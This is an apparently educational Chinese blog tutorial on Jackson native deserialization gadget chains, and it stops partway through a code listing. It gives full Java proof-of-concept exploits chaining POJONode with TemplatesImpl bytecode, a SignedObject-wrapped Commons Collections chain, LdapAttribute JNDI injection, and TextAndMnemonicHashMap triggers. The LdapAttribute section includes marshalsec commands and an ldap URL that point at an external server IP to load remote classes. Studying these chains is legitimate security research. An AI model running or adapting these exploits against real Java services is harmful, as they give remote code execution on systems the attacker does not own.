JavaSec | jackson反序列化通杀链

admin 2025年4月23日15:18:18评论0 views字数 37444阅读124分48秒阅读模式
本文由掌控安全学院 -  fupanc 投稿

 

前面简单了解了一下jackson反序列化,可以知道在序列化时会调用getter方法,而反序列化时会调用setter,但是都是有一定限制的,这里就来了解一下原生链的打法。

pom.xml文件中使用的依赖项如下:

<dependency>      <groupId>com.fasterxml.jackson.core</groupId>      <artifactId>jackson-databind</artifactId>      <version>2.13.3</version>    </dependency>    <dependency>      <groupId>com.fasterxml.jackson.core</groupId>      <artifactId>jackson-core</artifactId>      <version>2.13.3</version>    </dependency>    <dependency>      <groupId>com.fasterxml.jackson.core</groupId>      <artifactId>jackson-annotations</artifactId>      <version>2.13.3</version>    </dependency>

测试环境:

  • • JDK8u71

前置

这里就先提供一个浅显易懂的反序列化代码,然后来看一下这里的反序列化流程,简单从一个序列化的角度来看一下这里的流程。

代码定义如下:

package jackson;import com.fasterxml.jackson.databind.ObjectMapper;import java.io.IOException;import java.lang.Runtime;public class Main {    public static void main(String[] args) throws Exception {        Hacker hacker = new Hacker();        String ow = new ObjectMapper().writeValueAsString(hacker);        System.out.println(ow);    }}class Hacker {    String name2 = "fupanc2";    public Hacker(){    }    public String getName(){        try {            Runtime.getRuntime().exec("open -a Calculator");        } catch (IOException e) {            throw new RuntimeException(e);        }        return "fupanc";    }    public void setName(String name){        this.name2 = name;    }}

这里的代码运行,成功弹出计算机。打断点于writeValueAsString方法行,一直跟进,可以发现是在如下代码处成功调用的invoke()方法从而获取值:

JavaSec | jackson反序列化通杀链这里的调用栈如下:

JavaSec | jackson反序列化通杀链

可以自己去跟一下

——————

POJONode链

这个类位于com.fasterxml.jackson.databind.node.POJONode,它的toString链可以触发任意的getter方法。

前面都说了核心的思想,toString()方法调用任意的getter方法,那么对于getter方法,最经典的就是TemplatesImpl的利用。所以这里的思想还是想着toString链调用到getOutputProperties()方法。现在来跟一下看看怎么实现。

POJONode类文件本身是没有实现toString()方法的,具体的实现是在其父类的父类BaseJsonNode类中,代码内容如下:

public String toString() {       return InternalNodeMapper.nodeToString(this);   }

这里会调用InternalNodeMapper类的nodeToString()方法:

public static String nodeToString(JsonNode n) {        try {            return STD_WRITER.writeValueAsString(n);        } catch (IOException e) { // should never occur            throw new RuntimeException(e);        }    }

writeValueAsString()方法,太经典的jackson序列化调用的方法了,那么这里的漏洞点就是这里。先来看一下这里的STD_WRITER变量的定义,变量定义如下:

private final static JsonMapper JSON_MAPPER = new JsonMapper();    private final static ObjectWriter STD_WRITER = JSON_MAPPER.writer();

这里利用的是JsonMapper类,然后这里的STD_WRITER变量的定义是JsonMapper类的writer()方法的返回值,我们可以跟进一下这里的writer()方法的调用,发现这里JsonMapper其实并没有定义writer()方法,还是调用的其父类ObjectMapper类的writer()方法:

public ObjectWriter writer() {        return _newWriter(getSerializationConfig());    }

然后调用了_newWriter()方法:

protected ObjectWriter _newWriter(SerializationConfig config) {        return new ObjectWriter(this, config);    }

这里就返回了一个ObjectWriter类实例。并且在后面进行了序列化,在序列化部分是通过调用writeValueAsString()方法来进行序列化的,可以跟进一下,内容如下:

public String writeValueAsString(Object value)        throws JsonProcessingException    {                // alas, we have to pull the recycler directly here...        SegmentedStringWriter sw = new SegmentedStringWriter(_generatorFactory._getBufferRecycler());        try {            _writeValueAndClose(createGenerator(sw), value);        } catch (JsonProcessingException e) {            throw e;        } catch (IOException e) { // shouldn't really happen, but is declared as possibility so:            throw JsonMappingException.fromUnexpectedIOE(e);        }        return sw.getAndClear();    }

然后我发现,ObjectMapper的writeValueAsString()方法代码逻辑同上,也就是说明其实这里就是调用ObjectMapper来进行序列化,也就是和前面了解的差不多了。总的来说,就是这里的ObjectMapper是可以用来同时序列化和反序列化的,但是ObjectWriter只是用来序列化的,同时有一个ObjectReader来进行反序列化:

JavaSec | jackson反序列化通杀链

所以其实都是差不多的。

对于触发toString()方法,最经典的就是CC5了。开头已经找到了,那么对于POJONode类之间的构造该是什么呢,来看一下代码之间的联系:

我们可以知道这里对POJONode类调用toString()方法,其实就是对POJONode类进行一个json序列化,序列化,肯定会调用类的变量,从POJONode类的变量中,我们可以拿到如下内容:

JavaSec | jackson反序列化通杀链

是的,这个_value变量,并且这个变量的定义为Object,所以是可以利用的。那么这里还是利用TemplatesImpl类的getter方法,但是这里又涉及到了一个问题,也是前面rome链提到了,这里的getter的获取,该怎么定义?

而TemplatesImpl类有多个getter方法,是否有影响呢?先构造试试看:

package jackson;import javax.management.BadAttributeValueExpException;import com.fasterxml.jackson.databind.node.POJONode;import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import java.io.FileOutputStream;import java.io.FileInputStream;import java.io.ObjectOutputStream;import java.io.ObjectInputStream;import java.lang.reflect.Field;public class Main {    public static void main(String[] args) throws Exception {        //使用javassist定义恶意代码        ClassPool classPool = ClassPool.getDefault();        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));        CtClass cc = classPool.makeClass("Evil");        String cmd= "java.lang.Runtime.getRuntime().exec("open -a Calculator");";        cc.makeClassInitializer().insertBefore(cmd);        cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));        byte[] classBytes = cc.toBytecode();        byte[][] code = new byte[][]{classBytes};        TemplatesImpl templates = new TemplatesImpl();        setFieldValue(templates, "_bytecodes", code);        setFieldValue(templates, "_name", "fupanc");        setFieldValue(templates, "_class", null);        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());        POJONode node = new POJONode(templates);        Object bad = new BadAttributeValueExpException(null);        Field field = BadAttributeValueExpException.class.getDeclaredField("val");        field.setAccessible(true);        field.set(bad, node);        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));        out.writeObject(bad);        out.close();        ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));        in.readObject();        in.close();    }    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {        final Field field = obj.getClass().getDeclaredField(fieldName);        field.setAccessible(true);        field.set(obj, value);    }}

虽然成功弹出计算机,但是代码运行会报错,并且调试可得这里并不是反序列化时弹出的计算机,而是在序列化就弹计算机了。简单跟一下,发现这里是由于BaseJsonNode类定义了writeReplace()方法,而如果序列化的类实现了writeReplace方法,那么将会在序列化过程中调用它进行检查,所以这里会出错,解决方法就是删去这个方法,idea上的源码不能直接删除,还可以重写这个类来调用,还可以通过javassist来在JVM中动态更改这个类的方法,最好是修改它的方法名,一劳永逸,最后的POC如下:

package jackson;import javax.management.BadAttributeValueExpException;import com.fasterxml.jackson.databind.node.POJONode;import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import javassist.CtMethod;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import java.io.*;import java.lang.reflect.Field;public class Main {    public static void main(String[] args) throws Exception {        //使用javassist定义恶意代码        ClassPool classPool = ClassPool.getDefault();        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));        CtClass cc = classPool.makeClass("Evil");        String cmd= "java.lang.Runtime.getRuntime().exec("open -a Calculator");";        cc.makeClassInitializer().insertBefore(cmd);        cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));        byte[] classBytes = cc.toBytecode();        byte[][] code = new byte[][]{classBytes};        //修改类方法        CtClass ctClass = classPool.getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode");        CtMethod ctMethod = ctClass.getDeclaredMethod("writeReplace");        ctMethod.setName("reset");        //也可以直接删去这个类        //ctClass.removeMethod(ctMethod);        //加载修改后的类        ctClass.toClass();        TemplatesImpl templates = new TemplatesImpl();        setFieldValue(templates, "_bytecodes", code);        setFieldValue(templates, "_name", "fupanc");        setFieldValue(templates, "_class", null);        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());        POJONode node = new POJONode(templates);        //BadAttributeValueExpException bad = new BadAttributeValueExpException(null);        Object bad = new BadAttributeValueExpException(null);        Field field = bad.getClass().getDeclaredField("val");        field.setAccessible(true);        field.set(bad, node);        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));        out.writeObject(bad);        out.close();        ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));        in.readObject();        in.close();    }    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {        final Field field = obj.getClass().getDeclaredField(fieldName);        field.setAccessible(true);        field.set(obj, value);    }}

至于原先错误代码中为什么在序列化之前就会弹出计算机,可以自己去调调。

SignedObject链

其实就是套了一个二次反序列化链,这里本来就是可以调用getter方法,那么二次反序列化就逃不脱了。

不多赘述,这里还是二次反序列化一个CC6,POC如下:

package jackson;import javax.management.BadAttributeValueExpException;import com.fasterxml.jackson.databind.node.POJONode;import javassist.ClassPool;import javassist.CtClass;import javassist.CtMethod;import org.apache.commons.collections.map.LazyMap;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import java.util.HashMap;import java.util.Map;import java.io.FileOutputStream;import java.io.FileInputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.Runtime;import java.security.KeyPairGenerator;import java.security.KeyPair;import java.lang.reflect.Field;import java.security.Signature;import java.security.SignedObject;public class Main {    public static void main(String[] args) throws Exception {        //使用javassist定义恶意代码        ClassPool classPool = ClassPool.getDefault();        //修改类方法        CtClass ctClass = classPool.getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode");        CtMethod ctMethod = ctClass.getDeclaredMethod("writeReplace");        //也可以直接删去这个类        ctClass.removeMethod(ctMethod);        ctClass.toClass();        Transformer[] fakeTransformer = new Transformer[]{new ConstantTransformer(1)};        Transformer[] chainpart = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{Runtime.class,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a Calculator"}),new ConstantTransformer(1)};        Transformer chain = new ChainedTransformer(fakeTransformer);        Map haha = new HashMap();        Map lazy = LazyMap.decorate(haha,chain);        TiedMapEntry outerMap = new TiedMapEntry(lazy,"fupanc");        HashMap hashMap = new HashMap();        hashMap.put(outerMap,"fupanc");        haha.remove("fupanc");//这里注意fupanc所属对象,使用lazy也行        Field x = ChainedTransformer.class.getDeclaredField("iTransformers");        x.setAccessible(true);        x.set(chain,chainpart);        KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");        kpg.initialize(1024);        KeyPair kp = kpg.generateKeyPair();        SignedObject signedObject = new SignedObject(hashMap,kp.getPrivate(),Signature.getInstance("DSA"));        POJONode node = new POJONode(signedObject);        BadAttributeValueExpException bad = new BadAttributeValueExpException(null);        Field field = bad.getClass().getDeclaredField("val");        field.setAccessible(true);        field.set(bad, node);        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));        out.writeObject(bad);        out.close();        ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));        in.readObject();        in.close();    }}

————————

LdapAttribute链

这个类位于com.sun.jndi.ldap.LdapAttribute,这是一个default属性的类,不能直接导入,反射获取即可,这个类有getter方法可以进行jndi注入:

JavaSec | jackson反序列化通杀链

这里就从payload来学习一下这个的使用方法(有小tips,具体看后面怎么打),先说打法,再简单讲讲这里的过程,这里需要用到marshalsec工具,然后在自己的服务器上运行jar包来生成服务器:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://47.100.223.173:2333/#a" 1389

然后开一个python的http服务:

python3 -m http.server 2333

注意在python的http服务的当前目录下放弹计算机的class文件,这里就不多说了。

然后运行下面这个代码即可:

package jackson;import com.fasterxml.jackson.databind.node.POJONode;import javax.management.BadAttributeValueExpException;import javax.naming.CompositeName;import java.io.*;import javassist.ClassPool;import javassist.CtClass;import javassist.CtMethod;import java.lang.reflect.Constructor;import java.lang.reflect.Field;public class Main {    public static void main( String[] args ) throws Exception {        //删去影响POJONode序列化的类        ClassPool pool = ClassPool.getDefault();        CtClass ctClass = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");        CtMethod ctMethod = ctClass.getDeclaredMethod("writeReplace");        ctClass.removeMethod(ctMethod);        ctClass.toClass();        String ldapCtxUrl = "ldap://47.100.223.173:1389/";        Class ldapAttributeClazz = Class.forName("com.sun.jndi.ldap.LdapAttribute");        Constructor ldapAttributeClazzConstructor = ldapAttributeClazz.getDeclaredConstructor(String.class);        ldapAttributeClazzConstructor.setAccessible(true);        Object ldapAttribute = ldapAttributeClazzConstructor.newInstance("fupanc");        Field baseCtxUrlField = ldapAttributeClazz.getDeclaredField("baseCtxURL");        baseCtxUrlField.setAccessible(true);        baseCtxUrlField.set(ldapAttribute, ldapCtxUrl);        Field rdnField = ldapAttributeClazz.getDeclaredField("rdn");        rdnField.setAccessible(true);        rdnField.set(ldapAttribute, new CompositeName("a//b"));        POJONode jsonNodes = new POJONode(ldapAttribute);        BadAttributeValueExpException exp = new BadAttributeValueExpException(null);        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");        val.setAccessible(true);        val.set(exp,jsonNodes);        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.ser"));        oos.writeObject(exp);        oos.close();        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.ser"));        ois.readObject();        ois.close();    }}

这样就可以在反序列化时弹出计算机。

分析过程就简单说说吧,参考文章已经说的很清楚了:

上面主要的一个不同点就在于ldap的url没有写成ldap://xxxx/xxx,也就是后面没有加请求的codebase那些了,这里是因为payload中会的a//b会在请求时会自动加上一个a,如:

JavaSec | jackson反序列化通杀链

这个主要是由payload造成的,这里也就不多说了。所以这里需要用到marshalsec工具,个人理解就是直接返回一个路径让其访问拿class文件,不管是发送什么的请求,所以其实直接将a.class改成MyTest.class也是可以的。

最后有兴趣的可以再调试跟一下这里的反序列化过程。

其他触发toString的类

这里的知识点其实更多的算是一种绕过,在前面链子的学习中,我们调用toString()方法,都是利用的BadAttributeValueExpException来进行toString()方法的调用,但是如果这个类被band掉了呢,又该怎么利用,下面就来学习一下另外的可以调用toString()方法的类。

XStringForFSB

这个类位于com.sun.org.apache.xpath.internal.objects.XStringForFSB,其父类是XStirng。

其实这个和ROME链的HotSwappableTargetSource链有点关联,在那条ROME链中,是通过HotSwappableTargetSource调用到XString的的equals()方法,从而调用到任意类的toString()方法。

这里的XStringForFSB类的equals()方法同样可以调用到任何类的toString()方法:

JavaSec | jackson反序列化通杀链

所以还是可以作为一个中继链来调用到任意类的toString()方法。

这里的目的是调用到XStringForFSB类的equals()方法,最经典的就是还是Hashtbale了,也比较容易看,这里来尝试构造一下,使用两个HashMap,参考ROME链的equals链,主要的触发点在AbstractMap类的equals()方法:

JavaSec | jackson反序列化通杀链

老生常谈的方法了,简单构造一下,这里本来想选用的构造函数为:

JavaSec | jackson反序列化通杀链

反射获取就可,但是赋值完就丢出异常,表示不能为字符串,只能放弃。看另外一个构造函数:

JavaSec | jackson反序列化通杀链

super()赋值就是一直往上调用,其实就是给父类的父类XObject的变量赋值:

JavaSec | jackson反序列化通杀链

这个变量其实是XString链提到过的,但这里没啥用。从原先的链子中可以看出,都不会利用到这的变量,那么就尝试只将其能正常实例化,让AI给一个正常实例化的代码,经测试如下可用:

package jackson;import com.sun.org.apache.xml.internal.utils.FastStringBuffer;import com.sun.org.apache.xpath.internal.objects.XStringForFSB;public class Text {    public static void main(String[] args) {        FastStringBuffer fsb = new FastStringBuffer();        fsb.append("Hello, this is a sample string stored in FastStringBuffer!");        // 2. 定义起始位置和提取长度        int start = 7;   // 从第8个字符开始(索引从0开始)        int length = 10; // 提取10个字符        // 3. 创建 XStringForFSB 实例        XStringForFSB xString = new XStringForFSB(fsb, start, length);        System.out.println(xString);    }}

输出为:

this is a

输出为这个不要紧,只要它是这个类实例即可:

JavaSec | jackson反序列化通杀链

那么就可以尝试构造:

package jackson;import com.fasterxml.jackson.databind.node.POJONode;import javassist.*;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import java.util.HashMap;import java.util.Hashtable;import com.sun.org.apache.xml.internal.utils.FastStringBuffer;import com.sun.org.apache.xpath.internal.objects.XStringForFSB;import java.lang.reflect.Field;public class Main {    public static void main(String[] args) throws Exception {        //使用javassist定义恶意代码        ClassPool classPool = ClassPool.getDefault();        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));        CtClass cc = classPool.makeClass("Evil");        String cmd= "java.lang.Runtime.getRuntime().exec("open -a Calculator");";        cc.makeClassInitializer().insertBefore(cmd);        cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));        byte[] classBytes = cc.toBytecode();        byte[][] code = new byte[][]{classBytes};        //修改类方法        CtClass ctClass = classPool.getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode");        CtMethod ctMethod = ctClass.getDeclaredMethod("writeReplace");        //也可以直接删去这个类        ctClass.removeMethod(ctMethod);        ctClass.toClass();        TemplatesImpl templates = new TemplatesImpl();        setFieldValue(templates, "_bytecodes", code);        setFieldValue(templates, "_name", "fupanc");        setFieldValue(templates, "_class", null);        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());        POJONode node = new POJONode(templates);        FastStringBuffer fsb = new FastStringBuffer();        fsb.append("Hello, this is a sample string stored in FastStringBuffer!");        XStringForFSB stringForFSB = new XStringForFSB(fsb, 7, 10);        HashMap hashMap1 = new HashMap();        hashMap1.put("yy",stringForFSB);        hashMap1.put("zZ",node);        HashMap hashMap2 = new HashMap();        hashMap2.put("yy",node);        hashMap2.put("zZ",stringForFSB);        Hashtable table = new Hashtable();        table.put(hashMap1,"1");        table.put(hashMap2,"2");    }    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {        final Field field = obj.getClass().getDeclaredField(fieldName);        field.setAccessible(true);        field.set(obj, value);    }}

成功弹出计算机,并且链子也是符合预期的,那么怎么只在反序列化时弹出里计算机呢?其实可以参考下面这条链子的绕过方法,但是这里忽略了一个非常重要的问题,FastStringBuffer不可被序列化,并且它还没有父类:

JavaSec | jackson反序列化通杀链

调不动了,留个坑点,应该是找到一个可以序列化的类,然后可以正常实例化 XStringForFSb 类即可。

TextAndMnemonicHashMap

这个类位于javax.swing.UIDefaults$TextAndMnemonicHashMap,也就是UIDefaults类的一个内部类,这个类的get()方法会触发toString()方法:

JavaSec | jackson反序列化通杀链

调用get的话,就不得不提到HashMap类的调用get()的方法:

JavaSec | jackson反序列化通杀链

同样是谈了很多次的这个方法,那么现在控制这里的m为TextAndMnemonicHashMap类,这里的key为POJONode类,但是这个TextAndMnemonicHashMap类是一个private内部类,不能直接导入,反射获取它的构造方法来进行创建即可,然后这里让被用来序列化的类为Hashtable,入口就可以参照CC7,先是一个简单的根据前面提出的要求来进行的构造:

package jackson;import com.fasterxml.jackson.databind.node.POJONode;import javassist.*;import java.util.HashMap;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import java.lang.reflect.Constructor;import java.util.Hashtable;import java.util.Map;import java.lang.reflect.Field;public class Main {    public static void main(String[] args) throws Exception {        //使用javassist定义恶意代码        ClassPool classPool = ClassPool.getDefault();        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));        CtClass cc = classPool.makeClass("Evil");        String cmd= "java.lang.Runtime.getRuntime().exec("open -a Calculator");";        cc.makeClassInitializer().insertBefore(cmd);        cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));        byte[] classBytes = cc.toBytecode();        byte[][] code = new byte[][]{classBytes};        //修改类方法        CtClass ctClass = classPool.getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode");        CtMethod ctMethod = ctClass.getDeclaredMethod("writeReplace");        //也可以直接删去这个类        ctClass.removeMethod(ctMethod);        ctClass.toClass();        TemplatesImpl templates = new TemplatesImpl();        setFieldValue(templates, "_bytecodes", code);        setFieldValue(templates, "_name", "fupanc");        setFieldValue(templates, "_class", null);        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());        POJONode node = new POJONode(templates);        Constructor constructor = Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap").getDeclaredConstructor();        constructor.setAccessible(true);        Map text = (Map)constructor.newInstance();        HashMap hashMap1 = new HashMap();        hashMap1.put(node,"1");        Hashtable table = new Hashtable();        table.put(hashMap1,"1");        table.put(text,"1");    }    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {        final Field field = obj.getClass().getDeclaredField(fieldName);        field.setAccessible(true);        field.set(obj, value);    }}

运行是没有弹出计算机的,那么现在就来考虑一下hash值相同的问题,可以直接用上面的代码来调试,重点是hash值的计算,就都打上断点来看一下这里的hash值计算情况:

JavaSec | jackson反序列化通杀链

先来看第一个放入的hashMap1的计算情况:

JavaSec | jackson反序列化通杀链

会调用HashMap类的hashCode()方法:

JavaSec | jackson反序列化通杀链

然后会调用到hashCode()方法:

JavaSec | jackson反序列化通杀链

也就是计算键值对的hash值然后进行抑或的一个操作,然后就顺利放进了这个键值对。

第二次put()是最重要的操作,会进行hash值是否相等等一系列计算,跟进一下,同样会进入到如下的代码:

JavaSec | jackson反序列化通杀链

如果存在键值对的话,就同样会进行哈希值的计算,这里也会调用这个的原因应该是因为TextAndMnemonicHashMap不存在hashCode()方法,但是其父类是HashMap类:

JavaSec | jackson反序列化通杀链

那么是否可以通过让其键值对都相同从而让hash值相同呢,直接在text中放入键值对就行了:

Map text = (Map)constructor.newInstance();text.put(node,"1");

再次调试,如下:

JavaSec | jackson反序列化通杀链

确实可以,那么现在就是考虑是否可以放入两个键值对的问题了。继续跟进,确实成功调用到了equals()方法,但是此时竟然报了如下的错误;

JavaSec | jackson反序列化通杀链

直接求值了?这里调用getKey()会对key进行一次调用toString()方法?跟进一下getKey()看看呢:

JavaSec | jackson反序列化通杀链

这里是直接返回值的操作,难道是因为这里的k是字符串类型?我这里传入的是一个类实例,所以会自动调用到这个类的toString()方法,导致了一次调用链的执行?但是又有时候弹计算机了有时候没弹(大部分时候没弹)

那么这里该怎么绕过呢?这里我想到了一个点,能否直接修改Hashtable中的存储表来进行利用,比如这里其实Hashtable和HashMap等的存储表都是通过他们的内置类Entry来实现的,可以跟进一下put()方法的后续代码:

JavaSec | jackson反序列化通杀链

跟进这个addEntry()方法:

JavaSec | jackson反序列化通杀链

就是一个实例化Node的操作。所以就是直接修改这个存储表,而存储表一般都是放在类的table变量中的:

JavaSec | jackson反序列化通杀链

但是这里的反射获取到相关类构造方法没搞出来,不然就只有一个一个变量获取到然后进行修改。并且其实这个直接修改在这也是没有什么大用的,就算在序列化前修改了,但是在反序列化时同样会报这个错误,同样会在getKey()方法处调用到toString()方法。

其实如果能稳定弹出计算机,这样也算是在反序列化时弹出计算机,只是不是根据链子进行的,但是这里不知道为什么有时候能弹有时候弹不了,只能放弃。

还是不行呀,看了一下参考文章,是用的TextAndMnemonicHashMap类来调用到equals()方法,正如前面谈到过的,这里的TextAndMnemonicHashMap类的父类是HashMap类,所以调用equals()方法时会一步一步往父类找,最后还是会调用到预期的equals()方法,但是其本质其实都是相同的,对于hash值相同的问题在前面也已经早就解决,当务之急还是看如何解决自动调用toString()方法的问题,想不出来,也没调出来,看一下网上现有的POC,理解了一下,然后改成自己常用的风格,如下:

package jackson;import com.fasterxml.jackson.databind.node.POJONode;import javassist.*;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import java.lang.reflect.Field;import java.util.Hashtable;import java.util.Map;import java.io.ObjectOutputStream;import java.lang.reflect.Constructor;public class Main {    public static void main(String[] args) throws Exception{        //使用javassist定义恶意代码        ClassPool classPool = ClassPool.getDefault();        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));        CtClass cc = classPool.makeClass("Evil");        String cmd= "java.lang.Runtime.getRuntime().exec("open -a Calculator");";        cc.makeClassInitializer().insertBefore(cmd);        cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));        byte[] classBytes = cc.toBytecode();        byte[][] code = new byte[][]{classBytes};        //修改类方法        CtClass ctClass = classPool.getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode");        CtMethod ctMethod = ctClass.getDeclaredMethod("writeReplace");        ctClass.removeMethod(ctMethod);        ctClass.toClass();        TemplatesImpl templates = new TemplatesImpl();        setFieldValue(templates, "_bytecodes", code);        setFieldValue(templates, "_name", "fupanc");        setFieldValue(templates, "_class", null);        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());        POJONode node = new POJONode(templates);        Map tHashMap1 = (Map) getObject(Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap"));        Map tHashMap2 = (Map) getObject(Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap"));        tHashMap1.put(node, "123");        tHashMap2.put(node, "12");        Hashtable hashtable = new Hashtable();        hashtable.put(tHashMap1,1);        hashtable.put(tHashMap2,1);        tHashMap1.put(node, null);        tHashMap2.put(node, null);        setFieldValue(tHashMap1, "loadFactor", 0.75f);        setFieldValue(tHashMap2, "loadFactor", 0.75f);        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));        out.writeObject(hashtable);        out.close();        ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));        in.readObject();        in.close();    }    public static Object getObject(Class clazz) throws Exception{        Constructor constructor = clazz.getDeclaredConstructor();        constructor.setAccessible(true);        return constructor.newInstance();    }    public static void setFieldValue(Object obj, String key, Object val) throws Exception{        Field field = null;        Class clazz = obj.getClass();        while (true){            try {                field = clazz.getDeclaredField(key);                break;            } catch (NoSuchFieldException e){                clazz = clazz.getSuperclass();//非常有必要            }        }        field.setAccessible(true);        field.set(obj, val);    }}

这样就可以完全成功弹出计算机,并且在控制台会报错,简单看一下确实是按照预期的链子走的,重点的需要理解的是如下的代码:

Map tHashMap1 = (Map) getObject(Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap"));        Map tHashMap2 = (Map) getObject(Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap"));        tHashMap1.put(node, "123");        tHashMap2.put(node, "12");        Hashtable hashtable = new Hashtable();        hashtable.put(tHashMap1,1);        hashtable.put(tHashMap2,1);        tHashMap1.put(node, null);        tHashMap2.put(node, null);        setFieldValue(tHashMap1, "loadFactor", 0.75f);        setFieldValue(tHashMap2, "loadFactor", 0.75f);

getObject()是自定义的获取构造器然后进行实例化的操作,重点是后面的内容,为什么要再次调用put()方法将value值变成null,简单从代码层面来理解,如下代码:

tHashMap1.put(node, "123");        tHashMap2.put(node, "12");

这里的两个类放入的键值对的值不同,那么对于后续的Hashtable调用时put()方法时的hash值肯定不同,也就不会调用equals()方法来进行比较,从而成功放入了键值对,那么后面两个“tHashMap“又再次调用put()方法是为了进行一个键值对的值的更新操作,所以在反序列化时的判断的hash值就会相同了,从而可以成功进行一次调用链的执行?从控制台的报错确实是对的,但是这里就不会在getKey()时报错吗?如果从这个方面来看的话,主要的不同点就是在如下代码:

setFieldValue(tHashMap1, "loadFactor", 0.75f);        setFieldValue(tHashMap2, "loadFactor", 0.75f);

这里是对HashMap类中的loadFactor变量进行了修改,这里的setFieldValue()方法定义也值得学习,可以获取到父类中的变量并进行修改,扩大了利用面。所以为什么需要对这里进行修改呢,尝试一下将这里改成没有这个,发现还是成功弹出计算机!(但是原文章的原格式确实需要,这就与HashMap反序列化时的问题相关了,这里不多说)调试了一下这里的过程,理解到了为什么,这里就简单说说吧,在前面的代码构造中,我一直忘记了一个点:

JavaSec | jackson反序列化通杀链

这里需要value的值为null才能成功调用这个toString()方法,并且虽然反序列化时同样有这个异常错误,但是从参数看,这个值代表的还是我们想要的类,下面从前面的我自己构造的代码说明一下,贴一下前面“自认为是自动调用toString()方法造成错误“的点的代码:

package jackson;import com.fasterxml.jackson.databind.node.POJONode;import javassist.*;import java.util.HashMap;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import java.lang.reflect.Constructor;import java.util.Hashtable;import java.util.Map;import java.lang.reflect.Field;public class Main {    public static void main(String[] args) throws Exception {        //使用javassist定义恶意代码        ClassPool classPool = ClassPool.getDefault();        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));        CtClass cc = classPool.makeClass("Evil");        String cmd= "java.lang.Runtime.getRuntime().exec("open -a Calculator");";        cc.makeClassInitializer().insertBefore(cmd);        cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));        byte[] classBytes = cc.toBytecode();        byte[][] code = new byte[][]{classBytes};        //修改类方法        CtClass ctClass = classPool.getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode");        CtMethod ctMethod = ctClass.getDeclaredMethod("writeReplace");        